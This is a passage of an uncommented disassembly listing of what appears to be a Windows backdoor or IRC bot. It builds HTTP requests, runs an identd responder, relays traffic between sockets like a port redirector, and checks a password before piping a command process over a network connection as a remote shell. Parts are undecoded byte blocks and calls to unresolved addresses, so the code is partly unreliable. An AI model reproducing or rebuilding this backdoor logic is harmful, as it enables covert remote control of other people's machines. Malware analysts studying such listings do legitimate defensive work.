		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB6A4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB654
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43468C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434648
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB680
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB67C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346F4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 225FB24h, 69C44D8Bh,	234C9h,	89C63B00h, 43E5A481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 225099Fh,	0CFE8EDEBh
		dd 90022604h, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB654
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6D8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB60C


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43477C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_43473C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 2BF843E8h, 5E5F9002h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8
		push	eax
		push	offset unk_434854
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434818
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_4347EC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347C0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434880
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4348AC
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5C4h, 0C63BF633h, 68501D74h
		dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 0F55AE857h, 5790022Bh, 410CCC68h, 0A1E89000h, 85023401h
		dd 902975C0h, 25FF19E8h, 0D8685002h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h
		dd 22BF520h, 8D106A53h,	5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
		dd 15FF5350h, 4CB680h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB67Ch, 850FC085h, 103h, 43499C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 0E8905056h, 225F3E4h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 225025Fh, 8FE8EDEBh,	900225FDh
		dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5E8h, 0EC858D50h,	68FFFFFBh, 4348E4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6EC15FFh
		dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 35E89056h, 5B022BF3h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2680896h


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2750F31h
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_434A48
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		nop
		call	near ptr 2680896h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26F09EAh


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_434AEC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
